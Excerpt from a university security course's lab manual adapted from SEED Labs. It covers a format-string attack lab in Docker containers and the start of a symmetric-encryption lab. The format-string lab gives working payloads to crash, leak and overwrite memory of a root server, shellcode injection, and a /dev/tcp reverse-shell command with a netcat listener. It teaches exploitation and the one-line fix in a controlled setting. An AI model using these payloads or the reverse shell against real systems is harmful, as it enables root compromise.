Map this back onto retlib: the frame pointer the program prints is bof’s saved %ebp; the return-address slot you overwrite is 4 bytes above it; and the distance from buffer[] to that slot is the offset Y you needed in Task 3.


Cleaning up

Undo the global changes this lab made to your VM:

$ sudo ln -sf /bin/dash /bin/sh              # if it is still pointing at zsh
$ sudo sysctl -w kernel.randomize_va_space=2 # re-enable ASLR
$ unset MYSHELL                              # Task 2 (and any bash/-p vars)
$ ls -l /bin/sh                              # confirm it points at dash again

A root-owned Set-UID binary sitting in your home directory is itself a vulnerability. Delete the retlib binaries you built (including any renamed copies from Task 3, variation 2), or restore your pre-lab snapshot.

Submission

Submit a single PDF containing, for each task: the commands you ran, a screenshot or transcript of what you observed, and an explanation of why it happened. For the attack tasks, include your exploit.py / input construction and state clearly how you derived every address and offset. List the important code snippets followed by explanation — attaching code with no explanation will not receive credit.

See Submitting a Lab Report for the expected structure.

Lab 3: Format String and Reverse Shell

Adapted from the SEED Labs Format String Attack Lab (Ubuntu 20.04 edition) by Wenliang Du. See Attribution and License.

EnvironmentSEED Ubuntu 20.04 VM (setup) with Docker + docker-compose — this lab is x86 (32-bit) and needs the multilib toolchain
Fileslab3.tar.gz — the SEED Labsetup (Docker docker-compose.yml, server-code/, fmt-containers/, attack-code/), repackaged for this course. Can’t run Docker? Use the backup setup.
SubmissionOne PDF, structured as described in Submitting a Lab Report

Overview

printf() and its relatives take a format string — the "%d of %s\n" in printf("%d of %s\n", n, name) — that tells the function how many more arguments to expect and how to interpret each one. The function trusts that string completely: it reads one argument off the stack for every % directive it finds, whether or not the caller actually passed one.

That trust is safe only when the format string is a constant the programmer wrote. When a program instead lets user input become the format string — printf(user_input) instead of printf("%s", user_input) — the user, not the programmer, decides how many arguments printf reads and what it does with them. This is a format string vulnerability, and it is far more powerful than it first looks: with nothing but a carefully chosen string, an attacker can crash the program, read arbitrary memory, write to arbitrary memory, and ultimately inject and run their own code with the victim program’s privileges.

In this lab you are given a program with a format string vulnerability that runs with root privilege. You will exploit it in four escalating steps — crash it, read its memory, modify its memory, and finally inject shellcode to obtain a root shell — and then reason about the one-line fix that would have prevented all of it.

Topics covered:

  • Format string vulnerabilities and code injection
  • Stack layout and how printf walks its variadic arguments
  • The %x, %s, %n, and %hn directives, and the parameter field %k$
  • Shellcode and the reverse shell

Background reading

  • Chapter 6 of Computer & Internet Security: A Hands-on Approach, 2nd/3rd edition, by Wenliang Du — https://www.handsonsecurity.net
  • Chapter 9 of the same book, for the reverse shell used in Task 4
  • man 3 printf (read the description of the %n conversion and the m$ parameter field), man 1 nc, man 1 gdb
  • The Appendix: how printf walks the stack at the end of this lab — read it before Task 2 if the %x counting feels like guesswork.

A note on architecture (read this first)

Like the SEED lab, we do the whole exercise in 32-bit (x86): the addresses contain no zero bytes, which keeps the payloads simple, and the stack layout is easier to reason about. Every gcc command uses -m32. This has two consequences:

  • You need the 32-bit toolchain: sudo apt install gcc gcc-multilib. The SEED Ubuntu 20.04 VM already has it. We also compile -static, so no 32-bit shared libraries are required at run time.
  • The attack runs actual x86 code. On an Apple Silicon Mac an ARM VM cannot execute the 32-bit x86 binary this lab produces. Contact the instructor on Piazza with your SSH public key and NetID for a department VM. Do not attempt this lab on an ARM VM.

The optional Task 5 revisits the attack on a 64-bit build, where the zero bytes in addresses make things harder.

Host Ubuntu version. This lab is developed and tested on the SEED Ubuntu 20.04 VM, but it also builds and runs on newer hosts (Ubuntu 22.04 / 24.04), because the provided Makefile handles the two things that would otherwise break: it pins -std=gnu17 (so newer gcc, which defaults to C23, still accepts server.c’s old-style prototype), and it links every binary statically. The container image is Ubuntu 20.04 (glibc 2.31); a dynamically-linked binary built on a newer host asks the container for a glibc it does not have (GLIBC_2.34 not found) and the server exits at once — static linking bakes libc into the binary so it runs in the container whatever your host is. If you ever see that GLIBC error, you are building dynamically: run make clean && make.

Use Docker (and docker compose) for this lab

Unlike Labs 1 and 2, which ran a single binary on the VM, this lab runs the vulnerable program as a network server inside a Docker container, and you attack it over the network with netcat.

If you cannot get Docker working on your machine, a Docker-free fallback is documented in Appendix B: Running Without Docker at the end of this lab.

Before you begin

Note. This lab turns off address randomization and runs a root server that you will deliberately crash and hijack. Everything happens inside containers on your own VM.

Make sure Docker and docker-compose are installed (the SEED VM already has them):

$ docker --version && docker-compose --version

Download the lab source files and unpack them inside the VM:

mkdir -p ~/cs487/lab3 && cd ~/cs487/lab3
wget https://xiaoguang.wang/computer-security-labs/labs/files/lab3.tar.gz
tar xzf lab3.tar.gz
cd Labsetup && ls

You should see:

docker-compose.yml     # defines the two server containers and their network
server-code/           # format.c (the vulnerable program), server.c, Makefile
fmt-containers/        # the Dockerfile the images are built from
attack-code/           # build_string.py and exploit.py -- where you build payloads

Setting up the environment

1. Turn off Address Space Layout Randomization (ASLR)

Guessing addresses is a critical step of the attack, and ASLR randomizes the stack, heap, and library addresses on every run. Turn it off on the VM (the containers share the host kernel, so this one command covers them too):

$ sudo sysctl -w kernel.randomize_va_space=0

2. How the program is built, and the compilation flags

The containers run pre-compiled binaries, so the first step is to build them. The server-code/Makefile compiles the vulnerable program twice — 32-bit (format-32, used in Tasks 1–4) and 64-bit (format-64, used in the optional Task 5) — plus the server wrapper, in effect:

$ gcc -DBUF_SIZE=L -z execstack -static -m32 -o format-32 format.c   # 32-bit
$ gcc -DBUF_SIZE=L -z execstack           -o format-64 format.c   # 64-bit

Each flag matters:

  • -m32 — 32-bit x86 (see the architecture note above); -static makes it self-contained so the small container image needs no 32-bit shared libraries.
  • -z execstack — makes the stack executable. Task 4 injects code onto the stack and jumps to it; a non-executable stack would block that. Defeating a non-executable stack is the subject of Lab 2; here we leave it off to focus on the format string itself.
  • -DBUF_SIZE=L — sets the stack-layout knob L (the L = line in the Makefile). Your instructor may give you a specific value; it shifts every offset in your payloads, so use the value you are told and set it before building.

Why the instructor picks L. A different L changes the number of %x specifiers you need and every offset that follows, so a payload built for one L will not work for another. This deliberately makes last year’s solutions — and the ones posted online — useless, and forces you to derive the numbers yourself.

Build the binaries and copy them where the Dockerfile expects them:

$ cd server-code
$ make              # builds server, format-32, format-64 (set L first if told to)
$ make install      # copies the binaries into ../fmt-containers
$ cd ..

3. Build and start the containers

Now build the images and bring the containers up. SEED’s VM defines handy aliases — dcbuild, dcup, dcdown — for the three docker-compose commands:

$ dcbuild           # alias for: docker-compose build
$ dcup              # alias for: docker-compose up

Not on the SEED VM? These aliases are not built in — add them once. Append the following to your ~/.bashrc, then run source ~/.bashrc. (If your Docker uses the v2 plugin, replace docker-compose with docker compose.)

alias dcbuild='docker-compose build'
alias dcup='docker-compose up'
alias dcdown='docker-compose down'
alias dockps='docker ps --format "{{.ID}}  {{.Names}}"'
docksh() { docker exec -it "$1" /bin/bash; }

docker-compose.yml starts two containers on a private network:

ContainerIP addressBinaryUsed in
server-10.9.0.510.9.0.5format-32 (32-bit)Tasks 1–4
server-10.9.0.610.9.0.6format-64 (64-bit)Task 5 (optional)

Leave dcup running in its own terminal — this is where the server’s output appears, which matters for every task below. Open a second terminal for your attacks. Useful commands (also aliased on the SEED VM):

$ dockps                       # docker ps, short form: list running containers + IDs
$ docksh <id>                  # get a bash shell inside a container (first few ID chars)
$ dcdown                       # alias for: docker-compose down  (stop everything)

The server adds a little randomness. server.c seeds each container with a random-length environment variable when it starts, so the addresses you see differ from your classmates’ — but they stay fixed for the life of the container. As long as you do not dcdown, the numbers are stable and your payloads stay valid. (This is not ASLR; it is just per-student variation.)

4. The vulnerable program

Here is the essence of server-code/format.c (the real file also has a 64-bit branch for Task 5). It reads up to 1500 bytes from standard input into buf[] — which, on the server, is the TCP connection — prints the addresses you will need, then passes buf down through a dummy_function() (whose only purpose is to add BUF_SIZE bytes of stack spacing) into myprintf(), which hands your input straight to printf as the format string — the bug.

unsigned int  target = 0x11223344;
char         *secret = "A secret message\n";

void myprintf(char *msg)
{
    unsigned int *framep;
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("Frame Pointer (inside myprintf):      0x%.8x\n", (unsigned int) framep);
    printf("The target variable's value (before): 0x%.8x\n", target);

    printf(msg);          //  <-- THE FORMAT-STRING VULNERABILITY

    printf("The target variable's value (after):  0x%.8x\n", target);
}

int main(int argc, char **argv)
{
    char buf[1500];

    printf("The input buffer's address:    0x%.8x\n", (unsigned int) buf);
    printf("The secret message's address:  0x%.8x\n", (unsigned int) secret);
    printf("The target variable's address: 0x%.8x\n", (unsigned int) &target);

    printf("Waiting for user input ......\n");
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Received %d bytes.\n", length);

    dummy_function(buf);    // inserts a BUF_SIZE-byte frame, then calls myprintf(buf)
    printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");
    return 1;
}

Note the three things the attacker gets for free: the address of buf[] (where your input lives), the address of the secret string on the heap (Task 2.B), and the address of the target variable (Task 3). The frame pointer (Task 4) is printed too.

The compiler already warned about this. When the images were built you saw warning: format not a string literal and no format arguments [-Wformat-security], pointing straight at printf(msg). That warning is the vulnerability; you will explain and fix it in the wrap-up.

5. A first, benign run

Send an ordinary string to the 32-bit server and watch the output appear in the dcup terminal (not in your attack terminal):

# In your attack terminal:
$ echo hello | nc 10.9.0.5 9090
                          # press Ctrl+C if it does not return on its own
# What appears on the server's console (the dcup terminal):
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd2d0
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd1f8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)

(Your addresses will differ from these — remember the per-container randomness — but they are stable until you dcdown.) The Returned properly line and the unchanged target value are your signal that nothing went wrong; in the tasks below, their absence or change on the server console is how you know your payload worked. Because most payloads are long and contain non-printable bytes, build them with the provided Python scripts in attack-code/ and pipe the resulting file to nc:

$ cd attack-code
$ ./build_string.py            # writes the payload to ./badfile
$ cat badfile | nc 10.9.0.5 9090

Task 1: Crashing the Program

Your first task is the simplest damage: provide an input that makes the program crash instead of returning properly. On the server console you will know it crashed because you do not see the (^_^)(^_^) Returned properly line after your connection — the format child died. (The server process itself keeps running and accepting new connections, because each request is handled in a forked child; only the child crashes.)

Think about what printf does with a format string full of directives when the caller passed no matching arguments. Each %x makes it read another 4-byte word off the stack and print it as a number — harmless, if odd. But %s makes it treat that word as a pointer and dereference it, reading a string from wherever that word points. Feed it enough %s and sooner or later one of those stack words is not a valid pointer, and the read faults.

$ echo '%s%s%s%s%s%s%s%s%s%s%s%s' | nc 10.9.0.5 9090
              # (standalone backup: echo '%s%s...' | ./format-32)

Watch the dcup terminal: a benign run ends with Returned properly, a crashing run does not.

Deliverable. The input you used and a screenshot/transcript of the server console showing the program crashed (no Returned properly). Explain why your input crashes it — which directive causes the fault, and what printf is trying to do at the moment it dies. If %s alone did not crash it on the first try, explain why you might need several.

Understanding check. A string of %n directives will also crash the program, but for a different reason than %s. What is that reason? (You will use %n on purpose in Task 3 — here it crashes because of where it tries to write.)


Task 2: Printing Out the Server Program’s Memory

Now make the program leak its own memory. The leaked data prints on the server’s console (the dcup terminal), where a true remote attacker could not see it — so this is not a practical attack by itself. The point is the technique: finding where your own input sits among the arguments printf walks. That offset is the single most important number in the whole lab; every later task depends on it.

Task 2.A: Stack data — find the magic number

When printf starts consuming %x directives, it walks up the stack from just above its own arguments. A few words up, it reaches the memory that holds your input string itself (buf[]). If you can count how many %x it takes to get there, then the next directive is reading bytes you control.

Put a recognizable 4-byte marker at the very front of your input, follow it with a run of %x separated by dots, and count: when one of the printed values comes back as your marker, the number of %x up to and including it is the magic number k.

# build_string.py (sketch)
content = bytearray(0x0 for i in range(1500))
content[0:4] = (0x44434241).to_bytes(4, byteorder='little')   # "ABCD" marker
s = ".%x" * 30
content[4:4+len(s.encode())] = s.encode('latin-1')
$ ./build_string.py                     # writes ./badfile
$ cat badfile | nc 10.9.0.5 9090        # (standalone backup: cat badfile | ./format-32)

On the server console, read across the printed %x values until you see ...41424344... (your marker). Count the %x positions to it. You can confirm with the parameter field: %k$x should print the marker directly.

Deliverable. Your input, the output showing your marker appearing in the %x dump, and the value of k — the number of %x needed to reach the start of your own input. Explain what those first k−1 values you skipped over actually are (whose stack words is printf printing before it reaches your buffer?).

Task 2.B: Heap data — read the secret string

The program stores a secret string on the heap and prints its address for you. Use the vulnerability to print the contents of that string. The idea: place the address of the secret at the front of your input (little-endian, in binary), use your magic number k to walk printf’s argument pointer to that address, and then a %s dereferences it and prints the string.

secret_addr = 0x080b4008                                  # from the program's printout
content[0:4] = (secret_addr).to_bytes(4, byteorder='little')
# then reach slot k with (k-1) %x, and finish with %s   -- or just use %k$s

Deliverable. Your payload and a screenshot showing the secret message printed. Explain how the address at the front of your buffer becomes the argument that %s dereferences, and why the byte order of that address matters.

Understanding check. The leak prints on the server’s console, where a real remote attacker cannot see it. Why is the technique still essential even when the attacker cannot read the leak? (Hint: Tasks 3 and 4 use the same k to write, not read.)


Task 3: Modifying the Server Program’s Memory

Reading memory is serious; writing it is worse. The %n directive does not print anything — it writes the number of characters output so far into the address given by the corresponding argument. Point that argument at the target variable and you can change its value. target starts at 0x11223344; the program prints its value before and after, so you can see your write land.

The mechanism is exactly Task 2.B, but with %n in place of %s: put target’s address at the front, walk to it with your magic number k, and write with %n.

Task 3.A: Change target to any different value

Success is simply making the “after” value differ from 0x11223344.

target_addr = 0x080e5068                                  # from the program's printout
content[0:4] = (target_addr).to_bytes(4, byteorder='little')
# reach slot k, then %n   (the value written is however many chars printed so far)

Deliverable. Your payload and the before/after output showing target changed. State what value it changed to and explain where that number came from.

Task 3.B: Change target to exactly 0x5000

%n writes the count of characters printed so far. To land a specific value you control that count — usually with a width field such as %.20000x, which prints a number padded to 20000 characters. 0x5000 is 20480 in decimal, so arrange for exactly 20480 characters to have been printed at the moment %n fires (remember to subtract the bytes you already printed before the width directive).

Deliverable. Your payload and the output showing target is now 0x00005000. Show the arithmetic: how you made the running character count reach exactly 20480.

Task 3.C: Change target to 0xAABBCCDD

0xAABBCCDD is 2,863,311,581 in decimal — a single %n would have to print nearly 3 billion characters, which takes far too long. The fix is to write two bytes at a time with %hn (or one byte with %hhn): write the low half-word and the high half-word to target and target+2 separately, so the largest count you ever print is about 65535 characters.

Because %n writes a running, monotonically increasing count, order the two writes so the required count only goes up: write whichever half-word is the smaller number first, then print the difference in characters before writing the larger one.

content[0:4] = (target_addr    ).to_bytes(4, byteorder='little')   # for the low half
content[4:8] = (target_addr + 2).to_bytes(4, byteorder='little')   # for the high half
# then two %hn writes, with width fields chosen so the counts hit 0xCCDD and 0xAABB

Deliverable. Your payload and the output showing target is now 0xaabbccdd. Explain why %n would have been impractical here, how %hn fixes it, and why the order in which you write the two half-words matters.

Understanding check. You placed the addresses to write to at the front of your input and the value came from the character count. Explain, in one or two sentences, why the attacker controls both the address written to and the value written — this “write-anything-anywhere” primitive is what makes Task 4 possible.


Task 4: Inject Malicious Code into the Server Program

Now the crown jewel. Instead of writing to target, you will use the same write-anything-anywhere primitive to overwrite a return address, redirecting execution into shellcode you placed in the buffer. Because the program runs as root, the shell you get is a root shell.

The plan

  1. Put shellcode in the buffer. exploit.py already places a 32-bit shellcode near the end of your 1500-byte payload. Its start address is buf_address + start_offset — and buf_address is printed by the program.
  2. Find the return address slot. When myprintf returns, the CPU jumps to the address saved just above myprintf’s saved %ebp. The program prints the frame pointer; the return-address slot is at frame pointer + 4. (Work through the Appendix if this is unfamiliar.)
  3. Overwrite that slot with the shellcode’s start address, using the two-%hn technique from Task 3.C — low half-word to ret_addr, high half-word to ret_addr + 2. When myprintf returns, it “returns” into your shellcode.

The stack when printf runs inside myprintf

        higher addresses
   +--------------------------+
   |   buf[1500]  (your input |  <- your shellcode sits near the top of this;
   |   lives here, in main)   |     its address = buf_address + start_offset
   +--------------------------+
   |        ....              |
   +--------------------------+
   |   return address of      |  <- overwrite THIS (at frame pointer + 4)
   |   myprintf()             |     with the shellcode's start address
   +--------------------------+
   |   saved %ebp of myprintf |  <- frame pointer points here
   +--------------------------+
   |        ....              |
   +--------------------------+
   |   format string arg ---> |  <- printf starts walking its args from here;
   |   (points into buf)      |     your magic number k counts up to buf
        lower addresses

Demonstrate code execution

The shellcode in attack-code/exploit.py runs /bin/bash -c "<command>". It ships with a harmless demo command (/bin/ls -l; echo '===== Success! ======'). Fill in the format-string portion of exploit.py to overwrite the return address, then fire the payload at the server:

$ ./exploit.py                          # build badfile
$ cat badfile | nc 10.9.0.5 9090        # (standalone backup: cat badfile | sudo ./format-32)

Watch the server console. If your overwrite landed, you will see the ls listing and ===== Success! ====== — output produced by your injected code, running as root inside the server. If you instead see Returned properly, your overwrite missed; a segfault means your target address or count is off. Recheck k, the frame pointer, and your two half-word counts.

Get a root reverse shell

A fixed command is not control — and on the real server its output prints on the server console, where you cannot see it. For an interactive root shell you drive, switch the shellcode’s command string to a reverse shell that connects back to a listener you run. In exploit.py, change the command string, keeping the * in the same column by padding with spaces (its position is hard-coded in the shellcode):

"/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1           *"

10.9.0.1 is your VM’s address on the container network (the gateway the containers see); 7070 is a spare port for the shell, kept separate from the server’s 9090. Start the listener on the VM, then fire the exploit:

# Terminal 1 (on the VM) — the attacker's listener
$ nc -lnv 7070

# Terminal 2 (on the VM) — trigger the vulnerable root server
$ ./exploit.py
$ cat badfile | nc 10.9.0.5 9090

The listener should receive a shell. Confirm it is root, and that you are inside the container (its hostname is the container ID):

# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
<container id>

Why a reverse shell here? The server child’s standard input is the TCP connection that carried your payload; a plain interactive /bin/bash would fight over that same socket and give you no usable prompt. The reverse shell sidesteps this by opening a fresh connection (/dev/tcp/...) for the shell’s own input and output. (In the standalone backup, stdin is the exhausted badfile, so a plain shell would read EOF and exit immediately — the reverse shell fixes that too; point it at 127.0.0.1.)

Deliverable. (1) Evidence of code execution with the demo command. (2) Your reverse-shell attack: how you laid out the shellcode, how you derived the return-address slot from the frame pointer, and how you split the shellcode’s start address across two %hn writes. (3) A screenshot of the root reverse shell with id showing uid=0(root). Mark on the stack diagram where your shellcode is stored, with its concrete address.

Understanding check. You overwrote a return address with an address on the stack, and the CPU happily executed instructions there. Which one compilation flag, if removed, would have stopped this exact attack — and which Lab 2 technique would an attacker then reach for instead?


Task 5 (Optional, 1 bonus point): Attacking the 64-bit Program

The second container, server-10.9.0.6 (10.9.0.6), is already running the 64-bit build (format-64) — it came up with dcup, so there is nothing new to compile. Point your attack at 10.9.0.6 and mount the same code-injection attack to get a root shell, this time selecting the 64-bit shellcode in exploit.py (shellcode = shellcode_64):

$ cat badfile | nc 10.9.0.6 9090

The new obstacle is zero bytes in addresses. On x86-64, valid addresses run only up to 0x00007FFFFFFFFFFF, so every 8-byte address has zero bytes in its high end. You cannot drop such an address into the middle of your format string, because printf stops parsing at the first 0x00. You must decide where in the payload the zero-containing addresses can safely go, and use the parameter field (%k$...) to reach them.

The parameter field makes this manageable: %k$x reads the k-th argument directly, and you can move the pointer back and forth freely:

printf("%3$.20x%6$n%2$.10x\n", 1, 2, 3, 4, 5, &var);   // writes 20 into var

Deliverable. Your 64-bit payload and a screenshot of the resulting root shell. Explain specifically how you handled the zero-byte problem — where you placed the addresses in the payload and how you reached them — and how the 64-bit stack layout differed from the 32-bit case.


Wrap-up: Fixing the Vulnerability

Go back to the compiler warning you saw while building the images:

warning: format not a string literal and no format arguments [-Wformat-security]

In server-code/format.c, change the vulnerable line in myprintf from printf(msg); to printf("%s", msg);, then rebuild and restart the container so the fix takes effect:

$ cd server-code && make && make install && cd ..
$ dcbuild && dcup

Confirm both that the warning is gone and that one of your earlier attacks (say, Task 3.A) no longer works. (Standalone backup: just make and re-run ./format-32.)

Deliverable. State in your own words what the warning was telling you, show the one-line fix, and give evidence that the fix defeats your attack (the warning is gone and target no longer changes). Explain why printf("%s", msg) is safe when printf(msg) was not — what does the user no longer control?


Cleaning up

Stop and remove the containers, and undo the global change this lab made to your VM:

$ dcdown                                       # stop and remove the containers
$ sudo sysctl -w kernel.randomize_va_space=2   # re-enable ASLR

Kill any leftover nc listeners. You can reclaim disk space from the built images with docker image rm seed-image-fmt-server-1 seed-image-fmt-server-2 once you are done. (In the standalone backup, just delete the format-32/format-64 binaries and any badfile payloads you built.)

Submission

Submit a single PDF containing, for each task: the commands you ran, a screenshot or transcript of what you observed, and an explanation of why it happened. For the attack tasks, include your build_string.py / exploit.py and state clearly how you derived the magic number k, every address, and every character count. List the important code snippets followed by explanation — attaching code with no explanation will not receive credit.

See Submitting a Lab Report for the expected structure.


Appendix A: How printf Walks the Stack

If the %x counting in Task 2 feels like guesswork, this is the mechanism behind it.

A variadic function like printf receives its first argument (the format string) in the usual place, but it has no idea how many arguments follow — the format string is the only thing that tells it. Every time printf scans a conversion directive (%x, %s, %d, %n, …), it grabs “the next argument” by advancing a pointer through the memory that sits just above the format-string argument on the stack, and interprets whatever is there according to the directive:

  • %x — read the next 4-byte word, print it as hex. (Just reads; harmless.)
  • %s — read the next 4-byte word, treat it as a pointer, and print the string it points to. (A bad pointer faults — this is Task 1.)
  • %n — read the next 4-byte word, treat it as a pointer, and write the number of characters printed so far to that address. (This is the write primitive — Tasks 3 and 4.)
  • %hn / %hhn — like %n but write only 2 bytes / 1 byte. (Task 3.C.)
  • %k$... — skip straight to the k-th argument instead of walking one at a time. (Task 5.)

The attacker’s leverage comes from two facts working together:

  1. printf keeps reading arguments for as long as the format string tells it to, even past the arguments the caller actually pushed — so it walks off into other stack memory.
  2. A few words up that stack, it reaches buf[] — the attacker’s own input. So the attacker can plant an address in the buffer and then use %s/%n to make printf treat that attacker-chosen value as the pointer to read from or write to.

The magic number k from Task 2.A is simply how many arguments printf must walk before its pointer reaches the start of your buffer. Once you know k, every other task is a variation: reach slot k, then read (%s) or write (%n/%hn) through an address you planted there.


Appendix B: Running Without Docker (Backup Setup)

If you cannot get Docker working, download lab3-standalone.tar.gz instead. It contains the same format.c and the same attack-code/ scripts, with a trimmed Makefile that builds the vulnerable program so you can run it directly, feeding the payload on standard input instead of over the network:

wget https://xiaoguang.wang/computer-security-labs/labs/files/lab3-standalone.tar.gz
tar xzf lab3-standalone.tar.gz && cd Labsetup
make                                   # builds format-32 and format-64 (set L first)
echo hello | ./format-32               # the benign run, output right in your terminal

Everything else in this lab is identical — the payloads, the addresses logic, and the reasoning. The only differences: the program’s output appears in your own terminal (not on a separate server console), and wherever a task says ... | nc 10.9.0.5 9090, you instead run ... | ./format-32. For Task 4 you run the program as root to stand in for the root server — cat badfile | sudo ./format-32 — and point the reverse shell at 127.0.0.1. These substitutions are noted again where they matter.

Lab 4: Secret-Key Encryption

Adapted from the SEED Labs Secret-Key Encryption Lab (Ubuntu 20.04 edition) by Wenliang Du. See Attribution and License.

EnvironmentSEED Ubuntu 20.04 VM (setup) or any Ubuntu VM with openssl and python3. This lab is architecture-independent — no 32-bit toolchain — so it runs fine on an Apple Silicon ARM VM. Docker is only needed for the optional Task 6.3.
Fileslab4.tar.gz — the SEED Labsetup, repackaged for this course. The Files/ folder holds ciphertext.txt, freq.py, pic_original.bmp, sample_code.py, and words.txt.
SubmissionOne PDF, structured as described in Submitting a Lab Report

Overview

The first three labs attacked programs. This one steps back to the data: how we keep it secret, and the mistakes that quietly undo that secrecy. You will use openssl and a little Python to get hands-on with secret-key (symmetric) encryption — the ciphers, the block-cipher modes, padding, and the initialization vector (IV) — and then exploit a few classic developer mistakes.

The theme is that a strong cipher (AES) is not enough. How you use it — which mode, whether you reuse an IV, whether your IV is predictable — decides whether the result is actually secure. Every attack in this lab works against unbroken AES; the weakness is always in the surrounding choices.

Topics covered:

  • Substitution ciphers and frequency analysis
  • Block-cipher modes: ECB, CBC, CFB, OFB
  • PKCS#5 padding and error propagation
  • The IV: why it must be unique and unpredictable
  • Known-plaintext and chosen-plaintext attacks

Background reading

  • Chapter 21 of Computer & Internet Security: A Hands-on Approach, 2nd/3rd edition, by Wenliang Du — https://www.handsonsecurity.net
  • man openssl, man enc (the openssl enc options), man xxd, man hexdump

How deep is the crypto here? CS487 is a systems security course. This lab is deliberately about using cryptography correctly, not about the internal math of AES. You will not be asked to break AES — you will be asked to spot the misuses that make correctly-implemented AES leak anyway.

Before you begin

Download and unpack the lab files inside the VM:

mkdir -p ~/cs487/lab4 && cd ~/cs487/lab4
wget https://xiaoguang.wang/computer-security-labs/labs/files/lab4.tar.gz
tar xzf lab4.tar.gz
cd Labsetup/Files && ls

You should see ciphertext.txt, freq.py, pic_original.bmp, sample_code.py, and words.txt. Everything except Task 6.3 runs with openssl and python3 — no containers, no special privileges.

A reminder on the openssl enc form you will use throughout. It encrypts (-e) or decrypts (-d) a file with a key and IV given in hex:

$ openssl enc -aes-128-cbc -e -in plain.txt -out cipher.bin \
      -K  00112233445566778889aabbccddeeff \
      -iv 0102030405060708

Replace -aes-128-cbc with the cipher/mode you want (-aes-128-ecb, -aes-128-cfb, -aes-128-ofb, -bf-cbc, …). -K and -iv take hex; -d decrypts; add -nopad to disable padding (Task 4).


Task 1: Frequency Analysis

ciphertext.txt was produced from an English article with a monoalphabetic substitution cipher — each letter is always replaced by the same other letter. Spaces and punctuation were left in place to keep word boundaries visible. Your job is to recover the original plaintext (and the substitution key) using frequency analysis — no brute force.

The provided freq.py prints the most common single letters, bigrams, and trigrams in the ciphertext:

$ ./freq.py

Compare those against the known frequencies of English (the most common letters are e t a o i n, the top bigram is th, the top trigram is the — see the Wikipedia frequency-analysis page). Guess a few mappings, substitute them with tr, and read the partially-decrypted text for more clues. Use capital letters for recovered plaintext so you can tell plaintext from ciphertext as you go:

# Example: map ciphertext n,y,v to plaintext E,T,A
$ tr 'nyv' 'ETA' < ciphertext.txt > step1.txt

Iterate until the whole article is readable.

Deliverable. The recovered plaintext (at least the first paragraph is enough to show you solved it) and the substitution key you found. Describe your process: which letters you pinned down first and what evidence (which n-gram, matched to which English n-gram) let you pin each one.


Task 2: Encryption Using Different Ciphers and Modes

Get comfortable with openssl enc. Encrypt a file of your choice with at least three different cipher/mode combinations, then decrypt each one back and confirm you recover the original. Browse man enc for the list of supported types.

$ openssl enc -aes-128-cbc -e -in plain.txt -out c1.bin -K ... -iv ...
$ openssl enc -aes-128-cbc -d -in c1.bin   -out out.txt -K ... -iv ...
$ diff plain.txt out.txt        # identical = round-trip worked

Deliverable. The three cipher/mode commands you ran and evidence that each decrypts correctly (e.g. diff showing no difference). One or two sentences: which of your choices are block ciphers and which behave like a stream cipher?


Task 3: Encryption Mode — ECB vs. CBC

This is the famous one. Encrypt the same picture two ways and look at the results.

pic_original.bmp is a simple image. A .bmp file starts with a 54-byte header that a viewer needs in order to display it; the pixel data follows. Encrypt the file with ECB and then with CBC, and for each, splice the original header back onto the encrypted body so it is still a viewable .bmp:

$ openssl enc -aes-128-ecb -e -in pic_original.bmp -out ecb.bmp -K 00112233445566778889aabbccddeeff
$ head -c 54 pic_original.bmp > header
$ tail -c +55 ecb.bmp        > body
$ cat header body > ecb_view.bmp

$ openssl enc -aes-128-cbc -e -in pic_original.bmp -out cbc.bmp -K 00112233445566778889aabbccddeeff -iv 0102030405060708
$ tail -c +55 cbc.bmp        > body
$ cat header body > cbc_view.bmp

Open ecb_view.bmp and cbc_view.bmp with an image viewer (eog on the SEED VM). Repeat with a picture of your own choosing.

Deliverable. The encrypted ECB and CBC images (screenshots). What can you still recognize in the ECB image, and why does CBC hide it? Explain in terms of how ECB encrypts each block independently while CBC chains blocks together.


Task 4: Padding

Block ciphers encrypt in fixed-size blocks, so when the plaintext length is not a multiple of the block size, the cipher pads it (PKCS#5). Stream-like modes do not need padding. You will see both facts directly.

  1. Encrypt a file with ECB, CBC, CFB, and OFB. Report which modes padded the output (the ciphertext grew to a block-size multiple) and which did not — and explain why the ones that did not, do not need to.
  2. Create three files of 5, 10, and 16 bytes and encrypt each with -aes-128-cbc. Note the resulting sizes. Then decrypt with -nopad so the padding is not stripped, and view the bytes with a hex tool to see exactly what was appended:
$ echo -n "12345" > f1.txt           # 5 bytes (-n = no trailing newline)
$ openssl enc -aes-128-cbc -e -in f1.txt -out f1.bin -K ... -iv ...
$ openssl enc -aes-128-cbc -d -nopad -in f1.bin -out f1.dec -K ... -iv ...
$ xxd f1.dec

Deliverable. For step 1, the table of which modes padded. For step 2, the encrypted sizes of the 5/10/16-byte files and a hex dump of each -nopad decryption. What padding bytes did PKCS#5 add in each case — and what did it add to the 16-byte file? Explain that last result.


Task 5: Error Propagation — Corrupted Ciphertext

How far does a single-bit error in the ciphertext spread when you decrypt? Different modes answer very differently, and that difference is a direct consequence of how each mode chains blocks.

  1. Create a text file at least 1000 bytes long.
  2. Encrypt it with AES-128 (do this once per mode: ECB, CBC, CFB, OFB).
  3. Flip one bit of the 55th byte of the ciphertext (use the bless hex editor on the VM, or any hex editor).
  4. Decrypt the corrupted ciphertext with the correct key and IV, and see how much plaintext comes back intact.

Predict the answer for each mode first, then run the experiment and check yourself.

Deliverable. For each of ECB, CBC, CFB, OFB: your prediction, then how much plaintext was actually corrupted (how many bytes/blocks). Justify the result from the mode’s structure — why does the damage stay local in some modes and spread in others?


Task 6: Initialization Vector (IV) and Common Mistakes

Most modes take an IV. Using it carelessly breaks security even though the cipher itself is sound. Tasks 6.1 and 6.2 are required; Task 6.3 is optional.

Task 6.1: The IV Must Be Unique

